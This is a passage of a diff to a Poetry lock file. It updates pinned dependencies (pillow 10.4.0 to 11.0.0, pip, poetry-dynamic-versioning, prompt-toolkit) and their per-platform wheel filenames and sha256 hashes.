"sha256:ecd85a8d3e79cd7158dec1c9e5808e821feea088e2f69a974db5edf84dc53141"}, - {file = "pillow-10.4.0-cp310-cp310-win_arm64.whl", hash = "sha256:ff337c552345e95702c5fde3158acb0625111017d0e5f24bf3acdb9cc16b90d1"}, - {file = "pillow-10.4.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:0a9ec697746f268507404647e531e92889890a087e03681a3606d9b920fbee3c"}, - {file = "pillow-10.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe91cb65544a1321e631e696759491ae04a2ea11d36715eca01ce07284738be"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dc6761a6efc781e6a1544206f22c80c3af4c8cf461206d46a1e6006e4429ff3"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e84b6cc6a4a3d76c153a6b19270b3526a5a8ed6b09501d3af891daa2a9de7d6"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:bbc527b519bd3aa9d7f429d152fea69f9ad37c95f0b02aebddff592688998abe"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:76a911dfe51a36041f2e756b00f96ed84677cdeb75d25c767f296c1c1eda1319"}, - {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:59291fb29317122398786c2d44427bbd1a6d7ff54017075b22be9d21aa59bd8d"}, - {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:416d3a5d0e8cfe4f27f574362435bc9bae57f679a7158e0096ad2beb427b8696"}, - {file = "pillow-10.4.0-cp311-cp311-win32.whl", hash = "sha256:7086cc1d5eebb91ad24ded9f58bec6c688e9f0ed7eb3dbbf1e4800280a896496"}, - {file = "pillow-10.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:cbed61494057c0f83b83eb3a310f0bf774b09513307c434d4366ed64f4128a91"}, - {file = "pillow-10.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:f5f0c3e969c8f12dd2bb7e0b15d5c468b51e5017e01e2e867335c81903046a22"}, - {file = "pillow-10.4.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:673655af3eadf4df6b5457033f086e90299fdd7a47983a13827acf7459c15d94"}, - {file = "pillow-10.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:866b6942a92f56300012f5fbac71f2d610312ee65e22f1aa2609e491284e5597"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29dbdc4207642ea6aad70fbde1a9338753d33fb23ed6956e706936706f52dd80"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf2342ac639c4cf38799a44950bbc2dfcb685f052b9e262f446482afaf4bffca"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:f5b92f4d70791b4a67157321c4e8225d60b119c5cc9aee8ecf153aace4aad4ef"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:86dcb5a1eb778d8b25659d5e4341269e8590ad6b4e8b44d9f4b07f8d136c414a"}, - {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:780c072c2e11c9b2c7ca37f9a2ee8ba66f44367ac3e5c7832afcfe5104fd6d1b"}, - {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:37fb69d905be665f68f28a8bba3c6d3223c8efe1edf14cc4cfa06c241f8c81d9"}, - {file = "pillow-10.4.0-cp312-cp312-win32.whl", hash = "sha256:7dfecdbad5c301d7b5bde160150b4db4c659cee2b69589705b6f8a0c509d9f42"}, - {file = "pillow-10.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:1d846aea995ad352d4bdcc847535bd56e0fd88d36829d2c90be880ef1ee4668a"}, - {file = "pillow-10.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:e553cad5179a66ba15bb18b353a19020e73a7921296a7979c4a2b7f6a5cd57f9"}, - {file = "pillow-10.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8bc1a764ed8c957a2e9cacf97c8b2b053b70307cf2996aafd70e91a082e70df3"}, - {file = "pillow-10.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6209bb41dc692ddfee4942517c19ee81b86c864b626dbfca272ec0f7cff5d9fb"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bee197b30783295d2eb680b311af15a20a8b24024a19c3a26431ff83eb8d1f70"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ef61f5dd14c300786318482456481463b9d6b91ebe5ef12f405afbba77ed0be"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:297e388da6e248c98bc4a02e018966af0c5f92dfacf5a5ca22fa01cb3179bca0"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:e4db64794ccdf6cb83a59d73405f63adbe2a1887012e308828596100a0b2f6cc"}, - {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd2880a07482090a3bcb01f4265f1936a903d70bc740bfcb1fd4e8a2ffe5cf5a"}, - {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4b35b21b819ac1dbd1233317adeecd63495f6babf21b7b2512d244ff6c6ce309"}, - {file = "pillow-10.4.0-cp313-cp313-win32.whl", hash = "sha256:551d3fd6e9dc15e4c1eb6fc4ba2b39c0c7933fa113b220057a34f4bb3268a060"}, - {file = "pillow-10.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:030abdbe43ee02e0de642aee345efa443740aa4d828bfe8e2eb11922ea6a21ea"}, - {file = "pillow-10.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:5b001114dd152cfd6b23befeb28d7aee43553e2402c9f159807bf55f33af8a8d"}, - {file = "pillow-10.4.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:8d4d5063501b6dd4024b8ac2f04962d661222d120381272deea52e3fc52d3736"}, - {file = "pillow-10.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c1ee6f42250df403c5f103cbd2768a28fe1a0ea1f0f03fe151c8741e1469c8b"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b15e02e9bb4c21e39876698abf233c8c579127986f8207200bc8a8f6bb27acf2"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a8d4bade9952ea9a77d0c3e49cbd8b2890a399422258a77f357b9cc9be8d680"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:43efea75eb06b95d1631cb784aa40156177bf9dd5b4b03ff38979e048258bc6b"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:950be4d8ba92aca4b2bb0741285a46bfae3ca699ef913ec8416c1b78eadd64cd"}, - {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d7480af14364494365e89d6fddc510a13e5a2c3584cb19ef65415ca57252fb84"}, - {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:73664fe514b34c8f02452ffb73b7a92c6774e39a647087f83d67f010eb9a0cf0"}, - {file = "pillow-10.4.0-cp38-cp38-win32.whl", hash = "sha256:e88d5e6ad0d026fba7bdab8c3f225a69f063f116462c49892b0149e21b6c0a0e"}, - {file = "pillow-10.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:5161eef006d335e46895297f642341111945e2c1c899eb406882a6c61a4357ab"}, - {file = "pillow-10.4.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:0ae24a547e8b711ccaaf99c9ae3cd975470e1a30caa80a6aaee9a2f19c05701d"}, - {file = "pillow-10.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:298478fe4f77a4408895605f3482b6cc6222c018b2ce565c2b6b9c354ac3229b"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:134ace6dc392116566980ee7436477d844520a26a4b1bd4053f6f47d096997fd"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:930044bb7679ab003b14023138b50181899da3f25de50e9dbee23b61b4de2126"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:c76e5786951e72ed3686e122d14c5d7012f16c8303a674d18cdcd6d89557fc5b"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:b2724fdb354a868ddf9a880cb84d102da914e99119211ef7ecbdc613b8c96b3c"}, - {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:dbc6ae66518ab3c5847659e9988c3b60dc94ffb48ef9168656e0019a93dbf8a1"}, - {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:06b2f7898047ae93fad74467ec3d28fe84f7831370e3c258afa533f81ef7f3df"}, - {file = "pillow-10.4.0-cp39-cp39-win32.whl", hash = "sha256:7970285ab628a3779aecc35823296a7869f889b8329c16ad5a71e4901a3dc4ef"}, - {file = "pillow-10.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:961a7293b2457b405967af9c77dcaa43cc1a8cd50d23c532e62d48ab6cdd56f5"}, - {file = "pillow-10.4.0-cp39-cp39-win_arm64.whl", hash = "sha256:32cda9e3d601a52baccb2856b8ea1fc213c90b340c542dcef77140dfa3278a9e"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:5b4815f2e65b30f5fbae9dfffa8636d992d49705723fe86a3661806e069352d4"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:8f0aef4ef59694b12cadee839e2ba6afeab89c0f39a3adc02ed51d109117b8da"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9f4727572e2918acaa9077c919cbbeb73bd2b3ebcfe033b72f858fc9fbef0026"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff25afb18123cea58a591ea0244b92eb1e61a1fd497bf6d6384f09bc3262ec3e"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dc3e2db6ba09ffd7d02ae9141cfa0ae23393ee7687248d46a7507b75d610f4f5"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:02a2be69f9c9b8c1e97cf2713e789d4e398c751ecfd9967c18d0ce304efbf885"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:0755ffd4a0c6f267cccbae2e9903d95477ca2f77c4fcf3a3a09570001856c8a5"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:a02364621fe369e06200d4a16558e056fe2805d3468350df3aef21e00d26214b"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:1b5dea9831a90e9d0721ec417a80d4cbd7022093ac38a568db2dd78363b00908"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b885f89040bb8c4a1573566bbb2f44f5c505ef6e74cec7ab9068c900047f04b"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87dd88ded2e6d74d31e1e0a99a726a6765cda32d00ba72dc37f0651f306daaa8"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2db98790afc70118bd0255c2eeb465e9767ecf1f3c25f9a1abb8ffc8cfd1fe0a"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:f7baece4ce06bade126fb84b8af1c33439a76d8a6fd818970215e0560ca28c27"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:cfdd747216947628af7b259d274771d84db2268ca062dd5faf373639d00113a3"}, - {file = "pillow-10.4.0.tar.gz", hash = "sha256:166c1cd4d24309b30d61f79f4a9114b7b2313d7450912277855ff5dfd7cd4a06"}, + {file = "pillow-11.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6619654954dc4936fcff82db8eb6401d3159ec6be81e33c6000dfd76ae189947"}, + {file = "pillow-11.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b3c5ac4bed7519088103d9450a1107f76308ecf91d6dabc8a33a2fcfb18d0fba"}, + {file = "pillow-11.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a65149d8ada1055029fcb665452b2814fe7d7082fcb0c5bed6db851cb69b2086"}, + {file = "pillow-11.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88a58d8ac0cc0e7f3a014509f0455248a76629ca9b604eca7dc5927cc593c5e9"}, + {file = "pillow-11.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:c26845094b1af3c91852745ae78e3ea47abf3dbcd1cf962f16b9a5fbe3ee8488"}, + {file = "pillow-11.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:1a61b54f87ab5786b8479f81c4b11f4d61702830354520837f8cc791ebba0f5f"}, + {file = "pillow-11.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:674629ff60030d144b7bca2b8330225a9b11c482ed408813924619c6f302fdbb"}, + {file = "pillow-11.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:598b4e238f13276e0008299bd2482003f48158e2b11826862b1eb2ad7c768b97"}, + {file = "pillow-11.0.0-cp310-cp310-win32.whl", hash = "sha256:9a0f748eaa434a41fccf8e1ee7a3eed68af1b690e75328fd7a60af123c193b50"}, + {file = "pillow-11.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:a5629742881bcbc1f42e840af185fd4d83a5edeb96475a575f4da50d6ede337c"}, + {file = "pillow-11.0.0-cp310-cp310-win_arm64.whl", hash = "sha256:ee217c198f2e41f184f3869f3e485557296d505b5195c513b2bfe0062dc537f1"}, + {file = "pillow-11.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:1c1d72714f429a521d8d2d018badc42414c3077eb187a59579f28e4270b4b0fc"}, + {file = "pillow-11.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:499c3a1b0d6fc8213519e193796eb1a86a1be4b1877d678b30f83fd979811d1a"}, + {file = "pillow-11.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c8b2351c85d855293a299038e1f89db92a2f35e8d2f783489c6f0b2b5f3fe8a3"}, + {file = "pillow-11.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f4dba50cfa56f910241eb7f883c20f1e7b1d8f7d91c750cd0b318bad443f4d5"}, + {file = "pillow-11.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:5ddbfd761ee00c12ee1be86c9c0683ecf5bb14c9772ddbd782085779a63dd55b"}, + {file = "pillow-11.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:45c566eb10b8967d71bf1ab8e4a525e5a93519e29ea071459ce517f6b903d7fa"}, + {file = "pillow-11.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b4fd7bd29610a83a8c9b564d457cf5bd92b4e11e79a4ee4716a63c959699b306"}, + {file = "pillow-11.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:cb929ca942d0ec4fac404cbf520ee6cac37bf35be479b970c4ffadf2b6a1cad9"}, + {file = "pillow-11.0.0-cp311-cp311-win32.whl", hash = "sha256:006bcdd307cc47ba43e924099a038cbf9591062e6c50e570819743f5607404f5"}, + {file = "pillow-11.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:52a2d8323a465f84faaba5236567d212c3668f2ab53e1c74c15583cf507a0291"}, + {file = "pillow-11.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:16095692a253047fe3ec028e951fa4221a1f3ed3d80c397e83541a3037ff67c9"}, + {file = "pillow-11.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d2c0a187a92a1cb5ef2c8ed5412dd8d4334272617f532d4ad4de31e0495bd923"}, + {file = "pillow-11.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:084a07ef0821cfe4858fe86652fffac8e187b6ae677e9906e192aafcc1b69903"}, + {file = "pillow-11.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8069c5179902dcdce0be9bfc8235347fdbac249d23bd90514b7a47a72d9fecf4"}, + {file = "pillow-11.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f02541ef64077f22bf4924f225c0fd1248c168f86e4b7abdedd87d6ebaceab0f"}, + {file = "pillow-11.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:fcb4621042ac4b7865c179bb972ed0da0218a076dc1820ffc48b1d74c1e37fe9"}, + {file = "pillow-11.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:00177a63030d612148e659b55ba99527803288cea7c75fb05766ab7981a8c1b7"}, + {file = "pillow-11.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8853a3bf12afddfdf15f57c4b02d7ded92c7a75a5d7331d19f4f9572a89c17e6"}, + {file = "pillow-11.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3107c66e43bda25359d5ef446f59c497de2b5ed4c7fdba0894f8d6cf3822dafc"}, + {file = "pillow-11.0.0-cp312-cp312-win32.whl", hash = "sha256:86510e3f5eca0ab87429dd77fafc04693195eec7fd6a137c389c3eeb4cfb77c6"}, + {file = "pillow-11.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:8ec4a89295cd6cd4d1058a5e6aec6bf51e0eaaf9714774e1bfac7cfc9051db47"}, + {file = "pillow-11.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:27a7860107500d813fcd203b4ea19b04babe79448268403172782754870dac25"}, + {file = "pillow-11.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:bcd1fb5bb7b07f64c15618c89efcc2cfa3e95f0e3bcdbaf4642509de1942a699"}, + {file = "pillow-11.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0e038b0745997c7dcaae350d35859c9715c71e92ffb7e0f4a8e8a16732150f38"}, + {file = "pillow-11.0.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ae08bd8ffc41aebf578c2af2f9d8749d91f448b3bfd41d7d9ff573d74f2a6b2"}, + {file = "pillow-11.0.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d69bfd8ec3219ae71bcde1f942b728903cad25fafe3100ba2258b973bd2bc1b2"}, + {file = "pillow-11.0.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:61b887f9ddba63ddf62fd02a3ba7add935d053b6dd7d58998c630e6dbade8527"}, + {file = "pillow-11.0.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:c6a660307ca9d4867caa8d9ca2c2658ab685de83792d1876274991adec7b93fa"}, + {file = "pillow-11.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:73e3a0200cdda995c7e43dd47436c1548f87a30bb27fb871f352a22ab8dcf45f"}, + {file = "pillow-11.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fba162b8872d30fea8c52b258a542c5dfd7b235fb5cb352240c8d63b414013eb"}, + {file = "pillow-11.0.0-cp313-cp313-win32.whl", hash = "sha256:f1b82c27e89fffc6da125d5eb0ca6e68017faf5efc078128cfaa42cf5cb38798"}, + {file = "pillow-11.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:8ba470552b48e5835f1d23ecb936bb7f71d206f9dfeee64245f30c3270b994de"}, + {file = "pillow-11.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:846e193e103b41e984ac921b335df59195356ce3f71dcfd155aa79c603873b84"}, + {file = "pillow-11.0.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:4ad70c4214f67d7466bea6a08061eba35c01b1b89eaa098040a35272a8efb22b"}, + {file = "pillow-11.0.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:6ec0d5af64f2e3d64a165f490d96368bb5dea8b8f9ad04487f9ab60dc4bb6003"}, + {file = "pillow-11.0.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c809a70e43c7977c4a42aefd62f0131823ebf7dd73556fa5d5950f5b354087e2"}, + {file = "pillow-11.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:4b60c9520f7207aaf2e1d94de026682fc227806c6e1f55bba7606d1c94dd623a"}, + {file = "pillow-11.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:1e2688958a840c822279fda0086fec1fdab2f95bf2b717b66871c4ad9859d7e8"}, + {file = "pillow-11.0.0-cp313-cp313t-win32.whl", hash = "sha256:607bbe123c74e272e381a8d1957083a9463401f7bd01287f50521ecb05a313f8"}, + {file = "pillow-11.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c39ed17edea3bc69c743a8dd3e9853b7509625c2462532e62baa0732163a904"}, + {file = "pillow-11.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:75acbbeb05b86bc53cbe7b7e6fe00fbcf82ad7c684b3ad82e3d711da9ba287d3"}, + {file = "pillow-11.0.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:2e46773dc9f35a1dd28bd6981332fd7f27bec001a918a72a79b4133cf5291dba"}, + {file = "pillow-11.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:2679d2258b7f1192b378e2893a8a0a0ca472234d4c2c0e6bdd3380e8dfa21b6a"}, + {file = "pillow-11.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eda2616eb2313cbb3eebbe51f19362eb434b18e3bb599466a1ffa76a033fb916"}, + {file = "pillow-11.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20ec184af98a121fb2da42642dea8a29ec80fc3efbaefb86d8fdd2606619045d"}, + {file = "pillow-11.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:8594f42df584e5b4bb9281799698403f7af489fba84c34d53d1c4bfb71b7c4e7"}, + {file = "pillow-11.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:c12b5ae868897c7338519c03049a806af85b9b8c237b7d675b8c5e089e4a618e"}, + {file = "pillow-11.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:70fbbdacd1d271b77b7721fe3cdd2d537bbbd75d29e6300c672ec6bb38d9672f"}, + {file = "pillow-11.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5178952973e588b3f1360868847334e9e3bf49d19e169bbbdfaf8398002419ae"}, + {file = "pillow-11.0.0-cp39-cp39-win32.whl", hash = "sha256:8c676b587da5673d3c75bd67dd2a8cdfeb282ca38a30f37950511766b26858c4"}, + {file = "pillow-11.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:94f3e1780abb45062287b4614a5bc0874519c86a777d4a7ad34978e86428b8dd"}, + {file = "pillow-11.0.0-cp39-cp39-win_arm64.whl", hash = "sha256:290f2cc809f9da7d6d622550bbf4c1e57518212da51b6a30fe8e0a270a5b78bd"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1187739620f2b365de756ce086fdb3604573337cc28a0d3ac4a01ab6b2d2a6d2"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:fbbcb7b57dc9c794843e3d1258c0fbf0f48656d46ffe9e09b63bbd6e8cd5d0a2"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d203af30149ae339ad1b4f710d9844ed8796e97fda23ffbc4cc472968a47d0b"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21a0d3b115009ebb8ac3d2ebec5c2982cc693da935f4ab7bb5c8ebe2f47d36f2"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:73853108f56df97baf2bb8b522f3578221e56f646ba345a372c78326710d3830"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e58876c91f97b0952eb766123bfef372792ab3f4e3e1f1a2267834c2ab131734"}, + {file = "pillow-11.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:224aaa38177597bb179f3ec87eeefcce8e4f85e608025e9cfac60de237ba6316"}, + {file = "pillow-11.0.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5bd2d3bdb846d757055910f0a59792d33b555800813c3b39ada1829c372ccb06"}, + {file = "pillow-11.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:375b8dd15a1f5d2feafff536d47e22f69625c1aa92f12b339ec0b2ca40263273"}, + {file = "pillow-11.0.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:daffdf51ee5db69a82dd127eabecce20729e21f7a3680cf7cbb23f0829189790"}, + {file = "pillow-11.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7326a1787e3c7b0429659e0a944725e1b03eeaa10edd945a86dead1913383944"}, + {file = "pillow-11.0.0.tar.gz", hash = "sha256:72bacbaf24ac003fea9bff9837d1eedb6088758d41e100c1552930151f677739"}, ] [package.extras] -docs = ["furo", "olefile", "sphinx (>=7.3)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] +docs = ["furo", "olefile", "sphinx (>=8.1)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] fpx = ["olefile"] mic = ["olefile"] tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] @@ -1516,13 +1609,13 @@ xmp = ["defusedxml"] [[package]] name = "pip" -version = "24.1.2" +version = "24.2" description = "The PyPA recommended tool for installing Python packages." optional = false python-versions = ">=3.8" files = [ - {file = "pip-24.1.2-py3-none-any.whl", hash = "sha256:7cd207eed4c60b0f411b444cd1464198fe186671c323b6cd6d433ed80fc9d247"}, - {file = "pip-24.1.2.tar.gz", hash = "sha256:e5458a0b89f2755e0ee8c0c77613fe5273e05f337907874d64f13171a898a7ff"}, + {file = "pip-24.2-py3-none-any.whl", hash = "sha256:2cd581cf58ab7fcfca4ce8efa6dcacd0de5bf8d0a3eb9ec927e07405f4d9e2a2"}, + {file = "pip-24.2.tar.gz", hash = "sha256:5b5e490b5e9cb275c879595064adce9ebd31b854e3e803740b72f9ccf34a45b8"}, ] [[package]] @@ -1542,13 +1635,13 @@ testing = ["pytest", "pytest-benchmark"] [[package]] name = "poetry-dynamic-versioning" -version = "1.4.0" +version = "1.4.1" description = "Plugin for Poetry to enable dynamic versioning based on VCS tags" optional = false python-versions = "<4.0,>=3.7" files = [ - {file = "poetry_dynamic_versioning-1.4.0-py3-none-any.whl", hash = "sha256:d6727d33d1c65850039cd804013a43780e0a3c9a3d693cf557ab87aa3891f148"}, - {file = "poetry_dynamic_versioning-1.4.0.tar.gz", hash = "sha256:725178bd50a22f2dd4035de7f965151e14ecf8f7f19996b9e536f4c5559669a7"}, + {file = "poetry_dynamic_versioning-1.4.1-py3-none-any.whl", hash = "sha256:44866ccbf869849d32baed4fc5fadf97f786180d8efa1719c88bf17a471bd663"}, + {file = "poetry_dynamic_versioning-1.4.1.tar.gz", hash = "sha256:21584d21ca405aa7d83d23d38372e3c11da664a8742995bdd517577e8676d0e1"}, ] [package.dependencies] @@ -1561,13 +1654,13 @@ plugin = ["poetry (>=1.2.0,<2.0.0)"] [[package]] name = "prompt-toolkit" -version = "3.0.47" +version = "3.0.48" description = "Library for building powerful interactive command lines in Python" optional = false python-versions = ">=3.7.0" files = [ - {file = "prompt_toolkit-3.0.47-py3-none-any.whl", hash = "sha256:0d7bfa67001d5e39d02c224b663abc33687405033a8c422d0d675a5a13361d10"}, - {file = "prompt_toolkit-3.0.47.tar.gz", hash = "sha256:1e1b29cb58080b1e69f207c893a1a7bf16d127a5c30c9d17a25a5d77792e5360"}, + {file = 